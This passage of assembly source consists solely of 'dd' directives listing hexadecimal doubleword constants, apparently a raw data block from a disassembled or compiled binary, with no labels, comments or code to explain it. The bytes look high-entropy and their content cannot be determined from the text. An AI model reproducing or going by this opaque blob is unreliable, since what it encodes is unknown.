		dd 0E600AC82h, 6ECD3475h, 70B8929h, 93C1F2C2h, 1BDA40AEh
		dd 0CE74BA59h, 0E5602700h, 0B561FBEDh, 6CEE00FEh, 74CC17F9h
		dd 0F601C437h, 6DC04A08h, 8ACC43D6h, 47341278h,	0B909002Eh
		dd 359DD25Bh, 0BFC37500h, 0D424AC99h, 12310265h, 84455C3Ah
		dd 80255B40h, 0BC19DEEAh, 0C186ADFh, 39A30D8h, 0E03E9CC9h
		dd 0C7DC5BC1h, 24FE901Ah, 607BC6Bh, 2CC035C3h, 0FC518133h
		dd 0FA53CFC0h, 3DBA00E0h, 423BD7Fh, 0C6008697h,	7010FCCFh
		dd 0B8A7CAh, 5FAB90DBh,	5D44D16Ah, 55CE780Bh, 25EE806Eh
		dd 0B8CF6C23h, 32600C47h, 2E582D86h, 52C5F200h,	8B4D38E9h
		dd 18854019h, 69367607h, 9AE17CCBh, 702167FDh, 0ABEE0h
		dd 5CD33435h, 0DA59100Dh, 0D488FC00h, 99889E8h,	4C2DF60Bh
		dd 0CC182A67h, 0FFC66807h, 832EBF00h, 0EE8BA956h, 5920960h
		dd 4C80046Ah, 9B145457h, 0DF6DC500h, 0F2D64A89h, 245D03CBh
		dd 0ABE565E9h, 0F0A98080h, 73918A1Fh, 5CBC3201h, 57EC35C1h
		dd 8F0C18BFh, 6A8DC11Dh, 768C8E0Fh, 6DA020B6h, 4645F9h
		dd 0BE93CD6Eh, 5D9EF194h, 3D4A4D07h, 0C330D0F5h, 0B60C46h
		dd 2C5F51CEh, 0B7F7D43Ah, 0FF60DB00h, 9181F147h, 76E70021h
		dd 4F1F283Fh, 0CD003C8Dh, 4A77F9D3h, 3B0575BBh,	0AE80A3D1h
		dd 0C0795349h, 910086CEh, 9C982A3Dh, 9559EAh, 211C3356h
		dd 11C2C039h, 0CDE91B00h, 0D7F0FA99h, 2DD438C5h, 0A280F53Dh
		dd 9A71EA72h, 8B7796ABh, 2580340Fh, 0CCD6C007h,	0CC838h
		dd 7968A240h, 0A4E5D292h, 7D8E5300h, 25AF01Fh, 0C3510C16h
		dd 4B11F4DFh, 4E5B8D02h, 40AB39F7h, 0E611B13Dh,	0C2091FFAh
		dd 479284h, 0BF21643Ch,	639C386h, 2C48E3h, 32093596h, 4FF8A8h
		dd 0F33A19AAh, 0A0A3625Ah, 0C2E61A01h, 6A817FBDh, 8E9BD0h
		dd 75B98C94h, 0DD46F367h, 9FE45500h, 0FFD76E9h,	37D00001h
		dd 0A0CDB3B5h, 0A2007897h, 3C7D8414h, 10507D2h,	0FDED501h
		dd 800E2F8Ch, 6ACDA530h, 9F68B5h, 0BA3CFD97h, 0AD8E7CF5h
		dd 801EBB0h, 210CF6D1h,	0CA40EEE1h, 7BEB049h, 0A1BB2883h
		dd 0DAAF2074h, 1A005355h, 0A3232B4Dh, 0CFABCh, 4C83FD66h
		dd 0DAC15E8h, 0DB7B1B00h, 91E6E99Eh, 0C25C3E87h, 30FC0487h
		dd 0F216309Bh, 701AF63h, 1AEA5DD6h, 41809EBCh, 6B7F1155h
		dd 0D9B0DFBDh, 184DEE30h, 7789230h, 0B2763328h,	91571064h
		dd 9E895F5h, 0BA42CF00h, 3552EEFh, 13B40012h, 0C3917240h
		dd 0E1006C4Ah, 20FC18CCh, 397929h, 27B3BFE4h, 4790ED87h
		dd 69356100h, 8CC9FBB2h, 30D7922h, 24654E17h, 0BBD3D041h
		dd 0C0C7EDF8h, 12E33000h, 1554769Fh, 39397F2Fh,	0B380097Fh
		dd 2AF5D61Bh, 1A05E52Dh, 0BEA4616Eh, 0B603BDC0h, 0EAA30011h
		dd 0CBB1FCC2h, 2F071621h, 1E1FA1DCh, 43B300AFh,	0D83B53h
		dd 9CBA2D06h, 0FA6D16F0h, 500056F8h, 6E94268Dh,	77B2A74Ah
		dd 0FF4B00A4h, 0BC8303C6h, 6C007337h, 7EB47940h, 0BA9C08h
		dd 6EFD8549h, 12F67CCFh, 5B181103h, 0E8C5CABEh,	3C51E1h
		dd 0B4467492h, 91FD6ACFh, 0E9C86300h, 42808BD7h, 0A1EB027Fh
		dd 414E393h, 0DE0E8068h, 71F83A00h, 62DD7A9Dh, 9F920EFAh
		dd 0A64039E1h, 0BEBF4EE8h, 4961A304h, 0B0D05E9Ah, 901B17h
		dd 21C4926Bh, 4DB2DD8h,	0C7573500h, 0A658CACEh,	0A0960009h
		dd 54E8BCF1h, 5C1DD142h, 1CC98311h, 799880CEh, 0F782F2h
		dd 3E3A8129h, 71EF340Dh, 788458h, 5DAB405Ch, 1C4105BBh
		dd 0C1DFB9B0h, 2BD16DF4h, 45237015h, 0D9BAF603h, 0D893FF2Ah
		dd 641736h, 38043A2Eh, 91DE8AF5h, 0CFFB0E03h, 0F086E56Dh
		dd 0C2706h, 399CBF7Ah, 5B0B14A7h, 0E851DB00h, 3BD8F437h
		dd 6BB009Ah, 0A7E51BCFh, 0E61D56A9h, 4D031CECh,	0F0FFD358h
		dd 0B40EF7h, 7FAA4562h,	0AF0A3869h, 26002276h, 0DB9A2C68h
		dd 1C488FF0h, 401F5A90h, 0BDE2B7CAh, 0D92CF505h, 4900C5A5h
		dd 0A1222192h, 0C5FA1420h, 805CCF4h, 915E25FCh,	0E477662Ch
		dd 0CCA29C04h, 5D2AAF60h, 76074F79h, 2CDB8C8h, 819D6820h
		dd 0CC7A0260h, 32D707ECh, 1FC0F062h, 273C4402h,	58351C2Ah
		dd 0D2311145h, 0FD69A000h, 183DC8h, 44CD2E6Ah, 8ED6965Ch
		dd 7B0C89C0h, 0F7DBCDDh, 78CB571Ch, 805E2A04h, 0A3187F18h
		dd 0D5DC901h, 1C06E180h, 0A72D1FCh, 5F01101Ah, 4B9885F4h
		dd 58C8411h, 93F08F96h,	7C883A8Ch, 95A3A493h, 452C6380h
		dd 3021391Ch, 0C6B8C700h, 0B261F2Fh, 0F251ED8h,	0E0363300h
		dd 0D27F60C8h, 0C8B1000h, 56B43CAh, 0B0D5F04Ch,	72450E8Ch
		dd 22E7035Dh, 0AD3C91BBh, 0FFA05792h, 798F870Bh, 0F18055E9h
		dd 0A697E0DAh, 8B9F711Dh, 0B0BBD940h, 98A123FFh, 0B1A30081h
		dd 817CCCAEh, 7008070h,	0E66C3FE4h, 3E2AEE03h, 6F837B0Bh
		dd 0D3ACC79h, 40B400E5h, 7C69272Dh, 0F3665309h,	8B38A0EFh
		dd 61A3A82Fh
		dd 8454A835h, 90BBF80Ah, 702DB8A1h, 4C7ABFD3h, 0FC73F100h
		dd 831E0A72h, 8F970085h, 7E0BE8F5h, 0A2F6B3F2h,	8BD8D705h
		dd 0FC2120C6h, 2A006203h, 76107E83h, 2B017212h,	0D5D2B641h
		dd 2890855Bh, 0C4000D58h, 0A3E8CFD7h, 195124C0h, 55600630h
		dd 82038027h, 835628DAh, 8186E801h, 0A4905046h,	22DD00D8h
		dd 44270F1Ah, 8000D4B1h, 0CD9DE4D3h, 1EF21D37h,	40B50D2Fh
		dd 0B1F5A95Dh, 92055951h, 4212BD86h, 0A8EC86h, 289ADEA4h
		dd 130378ADh, 0D23F4800h, 51058FE1h, 944A50B2h,	7D8001A9h
		dd 6C720DD0h, 3877FC88h, 0AB3D2A00h, 2C2D0B4Dh,	66F60E4Bh
		dd 7A00B80Dh, 2A8952DBh, 0AFFEAA00h, 7538878Eh,	0CFBE1944h
		dd 60A528B8h, 4F79F6FFh, 251A7100h, 42DED3D2h, 0AAE200CCh
		dd 16394B93h, 7F002741h, 761888D7h, 701565D4h, 0C7C601BDh
		dd 4AE179E5h, 0F927F0ACh, 445025E4h, 1C0B16E4h,	0A08350C9h
		dd 0F4A20E18h, 4155C42h, 39778401h, 0F4CDF925h,	0FE00991Eh
		dd 0D802163Ah, 0AE87994h, 3E2EC670h, 20C800BCh,	2D4F66FBh
		dd 0B21D409h, 7A108176h, 0C0401405h, 49EFE4C6h,	4600D0F3h
		dd 0ADCDAAE5h, 0D004A2Bh, 0D8B97304h, 728E7h, 58D8B65h
		dd 0F9866285h, 49FA7E04h, 0B4A4E64Dh, 9C7624DBh, 8C9301ECh
		dd 2C6DC93Ch, 6930043Ch, 80ECD8h, 0BEBDC6h, 0B38E86C5h
		dd 0FB6A20D3h, 338A202h, 822FFC61h, 4401B584h, 24E01C4h
		dd 6581F8D6h, 661EE0D9h, 27CB3Ah, 2D8407BAh, 0F7FE49Bh
		dd 9970EA7Dh, 263BA7C0h, 0CC01C444h, 824F030Ah,	0A17092C0h
		dd 34EC002Ah, 946569B7h, 230F3717h, 0BEF72DBEh,	29FA3380h
		dd 905220BAh, 1900034h,	99E4E6E8h, 0EC0F6DC8h, 6223A2E7h
		dd 8E3FAF6Ch, 7C1F20E0h, 935F10h, 65606987h, 0E2D3C8EDh
		dd 3B337814h, 0BE421DE5h, 729B1481h, 0DC2052ABh, 2A3011Bh
		dd 0EB29ACEh, 59982017h, 0A4A56000h, 0B58EE8B6h, 793A057Fh
		dd 0C0FC6CBDh, 328AE710h, 0ED4AE50Fh, 0C9F404Ch, 0BF5040h
		dd 8DC4BE16h, 0F04E355Eh, 67DC2400h, 56E028F9h,	39950174h
		dd 80B9FAFFh, 7CB048F2h, 21FDE81Fh, 74848B80h, 914A53h
		dd 201D052h, 0C0EC5D2Fh, 75446900h, 0FD4912A6h,	1CB68Dh
		dd 0F8E0112Dh, 7A000164h, 5E95B5EEh, 907D4Bh, 0BD24D9B3h
		dd 1F0759ACh, 0FEEF891Fh, 83706CC0h, 5D1E44h, 5153E936h
		dd 0BB8878A0h, 0DEE86F00h, 0E03F581h, 0EC3C00A7h, 0D00DFF89h
		dd 990061BDh, 8326CF05h, 1E9E86B3h, 806537D1h, 5B2E10EBh
		dd 5201F177h, 0EA46428Ah, 4864C2A1h, 70ED00E8h,	3F9F55CEh
		dd 3100DD76h, 3E5F8D6Eh, 0FC7942h, 0FD8AF813h, 0F295F63Ah
		dd 3CF16513h, 3C4D484Fh, 3B358900h, 24207EAh, 8D390484h
		dd 0C06B8774h, 0B60D81E0h, 0A4F29607h, 0E14E9F45h, 47C4AD48h
		dd 0E5424441h, 0A7F88BD5h, 2A6F3A8Ah, 947FB60Ch, 0CA607520h
		dd 0E4F5D710h, 0C521C058h, 0AD37C24Dh, 0EA0321F6h, 12520D93h
		dd 53780057h, 0A2452F47h, 2135E5ADh, 0D49320ECh, 0E9500F6Fh
		dd 968ADB75h, 7B8D0A0Ch, 0EBCE005Ch, 5B02592Ch,	38D884E9h
		dd 9832018Dh, 65009E04h, 33454DE6h, 0ADC7F90Ch,	707A852h
		dd 290FD674h, 2619A105h, 4DDC84Bh, 1F811100h, 52FFE468h
		dd 10563D9Dh, 0A00163Dh, 50FBA4F3h, 7D01E92Eh, 22BED5E3h
		dd 53D8782Bh, 0ED9C0065h, 469AA9D0h, 0EF00E9C6h, 77C970D4h
		dd 19DC785h, 33C55D12h,	0C8060774h, 65001976h, 31F6BAD3h
		dd 0A08187h, 0E389407Ch, 0D78B3CF9h, 80128A79h,	7F001723h
		dd 0DD92CD45h, 0E68EEA9Eh, 0D71D0314h, 0FD1AD4BBh, 0FF9458h
		dd 2F96937Bh, 5DB051h, 0A494033h, 0B252BB32h, 4400A176h
		dd 0EA87D9D4h, 8306AAh,	0E5F1235h, 8BCDD05Ah, 5AFA900h
		dd 2B44E716h, 0D1730EEFh, 0EA60B13Dh, 0FC193678h, 8C003276h
		dd 0BF3CDB71h, 2C40AF5h, 5C9D268Eh, 55C0AE8Bh, 4B05F6A7h
		dd 0B17C3E50h, 0E1CA2CC0h, 0E0F700B3h, 70393F29h, 9D91FBh
		dd 0D745E479h, 514C005Bh, 67438AC2h, 0C97469A0h, 47E33A00h
		dd 2F33F503h, 16230096h, 3964A5BFh, 0C8005D5Ah,	0EE32AB79h
		dd 3071F5h, 361BEF10h, 0CEC454D8h, 7843F203h, 0F0DDF187h
		dd 7E5B955Eh, 8EAD000Ch, 0E37FAF33h, 0F700B8D1h, 2E883A81h
		dd 0C4BD38h, 27E77DC7h,	0CB711A9h, 78473B31h, 29CCCC7Ch
		dd 6DC50055h, 0B2C9E8D4h, 0F818FE18h, 8A11AE45h, 63F0070h
		dd 12B6B0F6h, 0C607AD75h, 821A6BCAh, 97B26990h,	0BD361C9Bh
		dd 0EAAACC09h, 4200CC38h, 8E4CD4Dh, 1F2F84D5h, 1FFB95A7h
		dd 52E103F6h, 410BBADAh, 8C479957h, 3196A06h, 40689D16h
		dd 0D7B31A05h, 2C271EE8h, 341BE801h, 130CF179h,	0D433E0h
		dd 0EEA162F0h, 0E287EBDFh, 8DE7DB00h, 1348684Eh, 0AE3B1C4Ch
		dd 5D1400F8h, 0DA3E20Ch, 3A98F300h, 6E81509h, 5B1300C6h
		dd 0CE251864h, 530C17F8h, 0C8E771D4h, 8EDF00A6h, 0FF1CA3BEh
		dd 0DC0044A4h, 3B438DECh, 416454h, 0F6A086A6h, 0B3EF6AA1h
		dd 0D6898000h, 78324345h, 48076055h, 9FE8473Fh,	0F9A96800h
		dd 3275BDE9h, 83351D65h, 0CFC0C171h, 0D4C70EE2h, 0A2001FE4h
		dd 293080FCh, 4853DF5Eh, 0B6007C4Ch, 61B57C56h,	6C003989h
		dd 0E09A8216h, 55D98Eh,	0FE34910Ch, 0FBE6EF25h,	8F05231Ch
		dd 4D28C900h, 3CA8185Ah, 0EE0C027Eh, 1F98D20Ch,	4695F00h
		dd 72396E2Eh, 0E5EC3D8Fh, 0B891A19Ch, 0ABE0B000h, 0E606DB6h
		dd 0F8D87951h, 43003017h, 0CCCB0ABBh, 0D70F68h,	0FD7193CDh
		dd 6DFA581Eh, 2835DA00h, 9BF7F86h, 0A4E200E3h, 585CCE3Fh
		dd 7C713D85h, 0AC479800h, 0E674D6A5h, 712100B4h, 0B6CF914Dh
		dd 518D43Eh, 0C5A850EDh, 0D56F01F6h, 0B803112Fh, 0BDE2D412h
		dd 0D15D9228h, 23906E54h, 60007C75h, 2B8085ACh,	902495h
		dd 2EC47874h, 533C23DEh, 509B8800h, 287E4956h, 0F5893A36h
		dd 0A9DF2080h, 512C594Ch, 0F326E874h, 0E00280Fh, 321DC696h
		dd 55D0FFDFh, 9FD10383h, 92F9B5AFh, 1F91FFFBh, 2EFE70DCh
		dd 0A3EFA700h, 0F45DD061h, 6D410062h, 0ABBF4938h, 0B50081AAh
		dd 59F830E3h, 3C3DF6AFh, 9A830412h, 22A041FBh, 0D5DB5EF0h
		dd 55AC7D00h, 0BA6E637Bh, 40C363ECh, 0C690D233h, 1D012312h
		dd 3F39D3E4h, 55FCB94Ch, 0CA870718h, 678E98h, 0FF56B5F4h
		dd 0F3F16C0Eh, 0FE2C09Eh, 1832BA5Ah, 704F2E38h,	6900AF09h
		dd 16D1E16Ch, 546FCDFh,	0BBCC5A14h, 85FB0F3Dh, 84D940C3h
		dd 92EF9E88h, 518F0D00h, 0DC2BBDDAh, 0B3B500F0h, 0E0427F69h
		dd 0B607CA58h, 0D864A1D5h, 1C80DFE4h, 1DB55975h, 80C03BF5h
		dd 0E052B809h, 0C5070464h, 7DFF3C6Eh, 1872B650h, 1C601C0h
		dd 0F8860C40h, 0ED36E44Eh, 8B591300h, 5AD48EE2h, 0A4C8C007h
		dd 49B7453Ah, 7B81B200h, 0AE6A65B9h, 0A56B014Fh, 0D60C7760h
		dd 0D1E88044h, 0D45E51A6h, 16570711h, 0A07BB9F4h, 90604D06h
		dd 0F18CD700h, 0E5656A55h, 300C7726h, 9BC85D7Bh, 3280B75Ch
		dd 131BFCBFh, 404310E7h, 4CF41A14h, 809AD6F5h, 552ACE00h
		dd 5283917Eh, 1CE7480Fh, 0B773640Eh, 0F2F5A500h, 0FF03316Dh
		dd 1EDD3C0Bh, 0E9380071h, 1C19A630h, 0BE00E447h, 31C8A9A5h
		dd 98A02A64h, 71AD0798h, 410B298Bh, 0F35A18BEh,	0FB7499C8h
		dd 0A2AC0D01h, 0E56B9FE3h, 39ED0h, 8886ADBCh, 4D7D0C80h
		dd 0A2E95F00h, 0DF22A708h, 74B30193h, 1C11F76Bh, 0A61980F1h
		dd 7C41A579h, 96B200E2h
		dd 0D6E160BDh, 0AF032C5Fh, 106BC355h, 483CF01Dh, 4CFC489Ah
		dd 6881713Fh, 0E1067D32h, 467FC063h, 37025300h,	0C41E3895h
		dd 51B70067h, 0DBAE3D35h, 0A926CEC5h, 290168D0h, 0A4C9BA8Fh
		dd 0F382F30h, 2722CFE1h, 0B2960C60h, 0F3008079h, 0F7A3CC3Dh
		dd 1E5FAF56h, 0CA3C1753h, 80BC8F34h, 0FC3FBD41h, 0C7EC29E5h
		dd 0B718A3FCh, 0F8E9E2DCh, 3F3200EEh, 20F7CA05h, 8F00E3F0h
		dd 3B9381C2h, 8C47Fh, 0D59A95FBh, 1E94834Dh, 2E6C3300h
		dd 0F21930CCh, 0BDA73AC6h, 9BCD6B28h, 583009ECh, 90B8B905h
		dd 0CAE1D46Ch, 0C2B44301h, 249ADB86h, 71003C68h, 7692237Dh
		dd 7A7DE072h, 0E40037F2h, 0DA8E4498h, 289F69E5h, 18433C2h
		dd 0A8225D9Ch, 0D4B43467h, 0C49ACBF6h, 74BC5F3Fh, 0C42970C0h
		dd 74DA056Ah, 0F23118DDh, 0BDD718E2h, 0FCE81CF8h, 18AD5C28h
		dd 0CB34DD00h, 12F565ECh, 0B6D74D0h, 8D37DF70h,	8D78200h
		dd 0BE017E22h, 0E6E0B38h, 0DFF8DB50h, 8F40A015h, 5FA944E6h
		dd 48000A4Bh, 987EEDF5h, 67390ABCh, 0C08BADFh, 7368D227h
		dd 3AFED61Ch, 0EE41DC26h, 9C50D59Eh, 1D8DC31Ch,	15350C6h
		dd 0EEBD52C8h, 3A10419Fh, 0EC1C411Dh, 0B0C0800Dh, 0A4C7BEC5h
		dd 8A171CE9h, 5F6C81BBh, 0C832C08Bh, 2400EB68h,	8E221D97h
		dd 0DA7A88h, 0F1448ADCh, 0D0EA6080h, 5045713Ah,	310078B8h
		dd 0FB8C4D4Fh, 3F664740h, 1780FC46h, 84A2FF6Ch,	5400E0D8h
		dd 0B3DDD7B9h, 0EB05E8Dh, 382FCCBCh, 0DE2C7880h, 1D004875h
		dd 0A9A30BA7h, 217E13h,	7A228DB4h, 3FC7B34Ah, 965DB205h
		dd 2F81F34Eh, 0D8806C3Dh, 49ABD39Ah, 77137354h,	0C00052B5h
		dd 67E99E0Fh, 7A58003Dh, 71F9B078h, 7E007BD9h, 40CD9CE3h
		dd 48B742h, 8293C906h, 0ABDCFC8Dh, 0F849FE07h, 9550C40Ah
		dd 73698D3h, 0D91571B7h, 1CE960C7h, 2C00C984h, 878D17D5h
		dd 0BA062F7h, 8AAE0E56h, 9781B480h, 0EA004F64h,	0E9692DB5h
		dd 343005h, 24C4FABEh, 10BBC929h, 23132500h, 0F2E21612h
		dd 0F9A300C0h, 0F5C29473h, 4CE0865Dh, 9F002070h, 0A8FD1352h
		dd 3F43D2h, 0C519470Ah,	0D5563ECDh, 62E9BF03h, 0B871A59Fh
		dd 34381Ch, 243A8920h, 0EE64652Ah, 0D0A1F200h, 820FD5C7h
		dd 0A5BF0778h, 2087A9BAh, 0D3441AA7h, 35DC072Ch, 2AB56002h
		dd 28B0806Fh, 0CD77735h, 62F224FEh, 9A244438h, 0A8000832h
		dd 0F37C6BCAh, 8AB60054h, 1E6D857Dh, 0CD09BAC0h, 10F7EBD4h
		dd 403AA40h, 0CAF61533h, 617D80BDh, 0CF00DF85h,	2172776Bh
		dd 1C8FA67h, 0F03DB6EFh, 0D4FD7E73h, 79C78DACh,	0EECA2B16h
		dd 9CDD5E00h, 84479Ah, 17138B09h, 0BE6F8223h, 0C4011D78h
		dd 72C1522h, 7DCCE9C1h,	833A1598h, 58019C6Dh, 0F828F1A0h
		dd 2E1C2057h, 31295E01h, 889323ECh, 0F1F719Fh, 33C0755Fh
		dd 0EA502163h, 3FAD0A03h, 0E85756EDh, 14025E6h,	59BC884h
		dd 6083354Eh, 0B9009A8Eh, 5E2DC0A5h, 36C31Eh, 5D670BFCh
		dd 32862F0Fh, 6D6BCB04h, 0D483B1AEh, 0A5A000ECh, 3D00142h
		dd 41097065h, 80317623h, 0AAF44845h, 0D485A0F2h, 0AC1F1EA2h
		dd 3B38C781h, 14BCF01Eh, 0D58C6B6h, 2000742Ch, 1D5A1B45h
		dd 4BE08642h, 242CA050h, 2BE6CE01h, 62FEFC9Bh, 13A0460h
		dd 8206BE29h, 20B640D6h, 0A7004B26h, 927C71A2h,	0F07FC2h
		dd 966AE51Fh, 0D06E5CA4h, 1EFD8413h, 87BB6847h,	0FA8B68B0h
		dd 80189699h, 9719C804h, 0C11FDC47h, 18D2A305h,	32E460C0h
		dd 2F6F0025h, 939653Ch,	0DA2E8755h, 50267926h, 8A1EE880h
		dd 9CAD403h, 0ABDAC90h,	0D8343822h, 86C87068h, 160D600h
		dd 0B38D0382h, 0E9872594h, 2180142Fh, 0C96911D5h, 5EEFB700h
		dd 0A0377724h, 34E65C79h, 0A180413Dh, 9A4584BCh, 0BF0E7D0Bh
		dd 614C135Ch, 21B7839Fh, 2F65C74h, 12BC7E4Fh, 0C4E0160Bh
		dd 8607B646h, 0C64BFB73h, 0E73A823Fh, 0DC0CE0FAh, 0CB6400C9h
		dd 14AAAC5Bh, 9C016087h, 9985BE80h, 0EFE465D4h,	9D3E16DAh
		dd 68F80036h, 0FB26288Ah, 0F8BAB05h, 0CF80A439h, 751FCFCCh
		dd 30167BC4h, 7111B598h, 0DB002ACDh, 6AD7ECC2h,	1242C14h
		dd 561EE3B7h, 808570C3h, 91D6AB28h, 0FB6E7C74h,	5CF30EE8h
		dd 37008EE2h, 0FD5894F0h, 9AFE9B82h, 0FDBE700h,	64A0EE8Dh
		dd 0CF7F28BAh, 0BEB700B4h, 0CD41D320h, 0CE051FD0h, 32AE2CCh
		dd 9B228407h, 0E898C460h, 16D0006Fh, 378AB55Ch,	933038EFh
		dd 59848892h, 0A27827h,	0FCA9341Dh, 0AEF81055h,	0DEACD100h
		dd 1AB670BBh, 8A430A47h, 0B8E3A7h, 3F1384C0h, 0C2740525h
		dd 735FD200h, 4DA6C4E9h, 0FE6F0044h, 7D8949F8h,	5012972h
		dd 0DC2B1E7Ah, 9A200CE0h, 0E44B00DDh, 84FBA1CFh, 31710BD3h
		dd 0C718E712h, 0C9D96040h, 24481B47h, 800CB5AEh, 9445C71h
		dd 0F1155178h, 0A352B0h, 66A64204h, 1E06EB89h, 241F77Dh
		dd 602F092Eh, 0BC2AF280h, 1CFA40DEh, 6E069F00h,	0AB987AF2h
		dd 8BC50076h, 68940B47h, 0FE381F9Ah, 17067EBh, 4C1AEC70h
		dd 0D32E00EAh, 0AD0D3208h, 0C206FADAh, 88C51D09h, 0C9891EB1h
		dd 0ACE24045h, 0BAA783A0h, 60772EFCh, 8B201800h, 3CE36122h
		dd 712102EFh, 48D4738Fh, 50F38240h, 39EAFD00h, 7C0B6913h
		dd 94AF05D2h, 993714h, 4B98E1D4h, 8007B9Eh, 1CA6C505h
		dd 0A0AEDBC2h, 289BE0h,	839E2F4Ch, 6C969F75h, 0D819892Eh
		dd 5D6DF200h, 1CB592B9h, 83E7619Dh, 181DAD45h, 2C488698h
		dd 0A803EA7Dh, 0C1AE38B9h, 0D73ED825h, 70E069Eh, 29F68A9Bh
		dd 220BCC0Fh, 2DE360C2h, 5B411h, 0E56F8144h, 2A0820A5h
		dd 6958C900h, 4EA8D404h, 0CE22000Fh, 5DA32C2Dh,	250441F9h
		dd 0BC1EE78Bh, 87002CB6h, 585DECF1h, 300003B7h,	326A0511h
		dd 76341827h, 6A40010h,	5643DF6Dh, 1700EAEBh, 95E8A72Ch
		dd 5788180h, 6F39ED82h,	215BC019h, 0FD01C48Fh, 0BD9E1FB9h
		dd 77C817C8h, 8AEAE5h, 9D0A548h, 0C386926Ch, 187C3F00h
		dd 0D315AB14h, 2AF009Ch, 3D889A4h, 6A0057F1h, 0E0508D61h
		dd 33712Bh, 0D3F4846Fh,	0E0247EFh, 44DA271Fh, 80A0CB8Bh
		dd 7E3F4012h, 5FA40032h, 98128A65h, 2201A178h, 0F605EB48h
		dd 89D4C246h, 9370329h,	85202767h, 1D00A27Bh, 2CF335A5h
		dd 0C2135615h, 0CA08CFD0h, 0B5005C50h, 2EB3860Ch, 4B477Bh
		dd 3AF1023Ch, 56AE1E12h, 0B297900h, 0A389C5Fh, 2FDB2872h
		dd 0C07C00A8h, 0C264FAB1h, 0CE0C137Bh, 1E0A79E8h, 1649008h
		dd 2EF5B5D6h, 9E9C7F5Ch, 8C1F5D10h, 5C8CFF12h, 22F74AEEh
		dd 5203BB78h, 4DCAA0C3h, 2018DE87h, 0AC41E007h,	82AC6BADh
		dd 0EC780083h, 3585C799h, 3A28BE76h, 1E112C0Bh,	0BA01D9E7h
		dd 50A2D717h, 98DC29A3h, 12378C39h, 0C8DB22CDh,	4086AD28h
		dd 92B0ACDCh, 14220114h, 0F3170F14h, 0E7B6200Ch, 3CC99Ch
		dd 6C852DB3h, 1AF4DDA2h, 6399700h, 0B85EB016h, 51A50003h
		dd 593B6167h, 7200CBA7h, 0E2353EC5h, 7BABD11h, 4987586Bh
		dd 539F6060h, 0B61D6175h, 0D641A9B4h, 4163E498h, 966E8E40h
		dd 7AD13879h, 830D5E07h, 0B97902Fh, 0F00BA75h, 52F67E54h
		dd 792BCE71h, 301600BDh, 3AC5B9CAh, 0A31E1456h,	0AB003935h
		dd 0C0A40942h, 747B07F6h, 0A7C43855h, 0B23B9031h, 50E5AF68h
		dd 0F8C589ACh, 6D0123Ah, 1DEECAF5h, 21416008h, 0EAF8CD28h
		dd 0D79F9A07h, 52A0FE39h, 50AF38h, 0F154C017h, 42D30E0Ch
		dd 14DE9B48h, 2B47DEAh
		dd 0B1739C70h, 12BCA058h, 120B1D86h, 765ADDAh, 466A95D8h
		dd 6B002106h, 0A85A058Eh, 49252Eh, 2B3B59CCh, 874C4E57h
		dd 19EF803h, 61C00ED3h,	0D569A168h, 805CF96Eh, 96E2C920h
		dd 271B138h, 8F6DDA09h,	94601224h, 18C24492h, 0E08010ACh
		dd 1EBB158Ah, 40F4CE88h, 67F10620h, 966038Ch, 221CF08h
		dd 5C07DCC1h, 98E026D9h, 0A4002E4Dh, 0E1D74E7Bh, 2BF222h
		dd 14B5A308h, 986E5028h, 8BFE3D1Ch, 2DEFCD42h, 0C941E0A4h
		dd 2140068h, 3882609Ch,	370044D5h, 0DCF0EF48h, 3B5393EEh
		dd 0F281BE4Ah, 4F18DD89h, 0A4E1606Ah, 69C7D700h, 1E4BBADBh
		dd 0A7190070h, 3C350391h, 7107DAD8h, 9364B2AEh,	410740BEh
		dd 0FCDF5E20h, 80BB0175h, 482AAAB0h, 26D1D873h,	3B0E5300h
		dd 9879B38Bh, 0AF890056h, 2EB2D8AEh, 7E009D96h,	0E2435AC7h
		dd 1F81230Eh, 0C0BC2F18h, 64C20B9Fh, 95007603h,	0D3968D1Ch
		dd 1B0924h, 0DFF11F43h,	0EA0ED69Eh, 0C4732F00h,	2CBBECD5h
		dd 12C70713h, 20897783h, 6E880328h, 5D3A0BE8h, 0C92E80B0h
		dd 49B840E7h, 0D14B00A5h, 0C6367276h, 1214BBCBh, 0DC32D3h
		dd 871BA12Fh, 4D9E84h, 6D8B565h, 0B376532Ah, 19BEA300h
		dd 0FF3E21C0h, 0EB7E1CA5h, 998F805Ah, 13DD9286h, 6E95AB00h
		dd 9C1F39EEh, 0C3E13D4Fh, 293BED8Ch, 41C07E56h,	202EF8DCh
		dd 162C00B9h, 1A6A54F4h, 503F3222h, 5A040592h, 9443C84Ah
		dd 0B5B1BCh, 3F0DD138h,	1593C96Ch, 0A805F408h, 87790019h
		dd 0D7125608h, 24C6D01h, 0C495C2Ch, 170FF1D0h, 5CE5A23h
		dd 0E8E702h, 284D2580h,	0DE6059B4h, 0CAC9C3CAh,	6318007Ah
		dd 87DAF246h, 820079D9h, 1AE82213h, 1E2F3B0Fh, 80E980E6h
		dd 9A75B6C6h, 62F6A51Eh, 8EA4FD00h, 1039AF5Dh, 0D6570E1Ch
		dd 0CE801F2Bh, 5B08A979h, 0FF914700h, 82E1D3DBh, 0A17303BDh
		dd 700390F7h, 221C801h,	5DF3947h, 3A8BF88Fh, 58803E6Fh
		dd 2B3319FDh, 0E8C48h, 7212E184h, 0EEB96330h, 9C90A096h
		dd 0A9323F5Dh, 13092880h, 2C39AB5Fh, 8DC8FA00h,	0E12E120Ch
		dd 0A2AC005Dh, 248EC5AEh, 2A006B89h, 0DFB0F8Ch,	2814D79Eh
		dd 2AB0CBEFh, 7CC5A72h,	94B34381h, 3EAF4010h, 0E6002EDAh
		dd 0CC55BA4Ah, 67A6EEh,	0C47EDF70h, 0C3B699C8h,	43ACDC51h
		dd 6FA32AAEh, 466EDAB0h, 0C2001770h, 0CC584CCh,	3AA40A3Fh
		dd 26060DC7h, 906EFC34h, 62CAF801h, 0CDAAEFC1h,	77B0024h
		dd 0C024693Ah, 4EAB10D0h, 2500C9F5h, 21A2DA3Fh,	0D17032h
		dd 268E4FC7h, 0E54117E2h, 9F354300h, 71E620C5h,	0E4B8A3h
		dd 12C1C37Fh, 0F6C9F3F1h, 553F6501h, 24F21D22h,	0BD98D4h
		dd 0DD72FE6Ah, 0FF467659h, 1C4D5E48h, 0FE3E85D0h, 827D3Dh
		dd 5539BDD2h, 9AA7E9h, 3056A28Eh, 0F0EA2A33h, 0E2074100h
		dd 0ECB5757Fh, 9CC802E9h, 4C963CEDh, 958776C0h,	20031400h
		dd 2B0849D4h, 931ECFCh,	0B306AA8Eh, 0EE4DE000h,	4F0030ACh
		dd 0E5297AA4h, 0E14733h, 8F530EE6h, 8277560h, 98A4181Dh
